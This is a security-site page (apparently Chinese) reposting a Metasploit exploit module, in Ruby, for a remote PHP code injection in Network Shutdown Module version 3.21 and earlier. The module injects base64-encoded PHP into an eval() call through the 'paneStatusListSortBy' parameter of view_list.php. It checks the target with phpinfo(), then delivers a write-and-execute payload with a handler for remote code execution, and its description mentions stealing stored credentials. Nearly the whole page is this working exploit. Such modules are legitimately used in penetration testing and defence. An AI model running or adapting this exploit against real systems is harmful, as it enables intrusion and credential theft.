首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-11-30  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::PhpEXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection',
   'Description'    => %q{
    This module exploits a vulnerability in lib/dbtools.inc which uses
    unsanitized user input inside a eval() call. Additionally the base64 encoded
    user credentials are extracted from the database of the application. Please
    note that in order to be able to steal credentials, the vulnerable service
    must have at least one USV module (an entry in the "nodes" table in mgedb.db)
   },
   'Author'         =>
    [
     'h0ng10',  # original discovery, msf module
     'sinn3r'   # PhpEXE shizzle
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['OSVDB', '83199'],
     ['URL', 'http://secunia.com/advisories/49103/']
    ],
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 4000
    },
   'Platform'       => ['php', 'linux'],
   'Arch'           => ARCH_PHP,

   'Targets'        =>
    [
     [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
     [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
    ],
   'DefaultTarget'  => 0,
   'Privileged'     => true,
   'DisclosureDate' => 'Jun 26 2012'
  ))

  register_options(
   [
    Opt::RPORT(4679)
   ], self.class)
 end

 def check
  # we use a call to phpinfo() for verification
  res = execute_php_code("phpinfo();die();")

  if not res or res.code != 200
   print_error("Failed: Error requesting page")
   return CheckCode::Unknown
  end

  return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/)
  return CheckCode::Safe
 end

 def execute_php_code(code, opts = {})
  param_name = rand_text_alpha(6)
  padding    = rand_text_alpha(6)
  url_param  = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"

  res = send_request_cgi(
   {
    'uri'   =>  '/view_list.php',
    'method' => 'POST',
    'vars_get' =>
     {
      'paneStatusListSortBy' => url_param,
     },
    'vars_post' =>
     {
      param_name => Rex::Text.encode_base64(code),
     },
    'headers' =>
     {
      'Connection' => 'Close',
     }
   })
 end

 def no_php_tags(p)
  p = p.gsub(/^<\?php /, '')
  p.gsub(/ \?\>$/, '')
 end

 def exploit
  print_status("#{rhost}:#{rport} - Sending payload")

  unlink = (target['Platform'] == 'linux') ? true : false
  p      = no_php_tags(get_write_exec_payload(:unlink_self => unlink))

  execute_php_code(p)
  handler
 end
end

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·UMPlayer Portable 0.95 Crash P
·Windows AlwaysInstallElevated
·Apple QuickTime 7.7.2 MIME Typ
·Free WMA to MP3 converter v1.6
·mcrypt <= 2.6.8 stack-based bu
·Android 4.0.3 <= Browser Remot
·Aviosoft Digital TV Player Pro
·IBM System Director Remote Sys
·BlazeVideo HDTV Player 6.6 Pro
·MySQL (Linux) Stack Based Buff
·Twitter 5.0 Eavesdropping Proo
·MySQL (Linux) Heap Based Overr
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved